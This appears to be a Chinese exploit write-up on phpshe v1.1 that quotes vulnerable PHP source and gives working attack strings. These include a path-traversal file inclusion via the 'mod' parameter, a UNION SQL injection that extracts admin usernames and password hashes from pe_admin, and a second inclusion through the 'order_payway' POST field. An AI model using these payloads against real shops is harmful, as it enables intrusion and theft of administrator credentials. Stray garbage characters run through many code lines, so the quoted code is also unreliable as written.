phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
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/* By: : Kn1f3
. T' p1 p6 }3 c1 [/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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" g  ^" z# y6 R3 @3 W# Q5 K8 w//common.php
if (get_magic_quotes_gpc()) {
& f7 z9 O% j& V# @, n% q9 o5 j!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- ]' u  ~7 q: `' |. x% m" \!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
! k9 u1 t2 U  i0 b9 jelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
0 l) u* J4 i) Y6 R!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
' s5 V% N# N( m4 r" I  Y!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
+ e, O1 W( Q+ U: M$ W2 W; o8 @( ?!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

8 ?6 i) o+ v; N4 o' b- ]" @' i) ?4 Y0×01 包含漏洞


% S- h# _8 j8 t, {/ v//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
) a7 Z9 b0 e: c* vinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
* v( d2 S2 ~; C8 B5 M5 z9 Epe_result();
& Y* E7 X  G" n' ?* n3 e?>
$ y4 u$ _( A* B; H//common 文件 第15行开始
url路由配置
3 D: h+ F- B8 D8 m. c$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
  U9 o: `6 G9 u5 _$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 j  V$ ~7 a' J' e* r//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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$ M4 V2 }4 I$ r<code id="code2">

//product.php文件
case 'list':
; d7 g$ p" L& O$category_id = intval($id);
' ]; c/ B. N8 @! u2 I% H$info = $db->pe_select('category', array('category_id'=>$category_id));
/ f9 ^; U5 h- F9 E: i. k: h' N//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
- w) m9 D6 O: j1 M, n4 H+ w6 Zif ($category_id) {
; b; n# Y$ x- O+ U: F. iwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
  T. n; t5 `( b! b6 |}
$ z5 ~% o" N. t8 I5 U$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
. K0 [# M" R/ R% q' R$orderby = explode('_', $_g_orderby);
7 I6 a- [1 a# B. \, f- T% @$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
- I! i1 `& |3 g+ F}
else {
  ~) }$ g. U$ F. c& y! s- n$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
. d, X5 i) W; H" ^9 s//当前路径
$nowpath = category_path($category_id);
! A$ j0 I. N/ u  X- S$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
$ t0 j" d; I% |7 i- L{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" G5 R# D: v! q1 `. T7 o* T5 |% T}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

, s* e# J. ~; [: i& j& e$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

% p( g* ?; N8 ~0 _4 l- C$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

1 e% s0 I. C3 z" E1 h2 {) V$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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- d; w6 e3 G# j}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

% b) b8 T7 b# b3 P7 J2 D!$order['order_id'] && pe_error('订单号错误...');

6 ?! i6 ^5 b$ Y  r- F; Pif (isset($_p_pesubmit)) {

$ q- H2 f& ~" J; _8 Qif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

8 P& A6 F4 B* Y* ~$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

  E- u* @) ^) J2 q3 R/ q. p$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& v9 }8 H0 W+ K( N- J# D}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

, ]4 x  E9 {# N: {9 Epe_error('支付错误...');

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}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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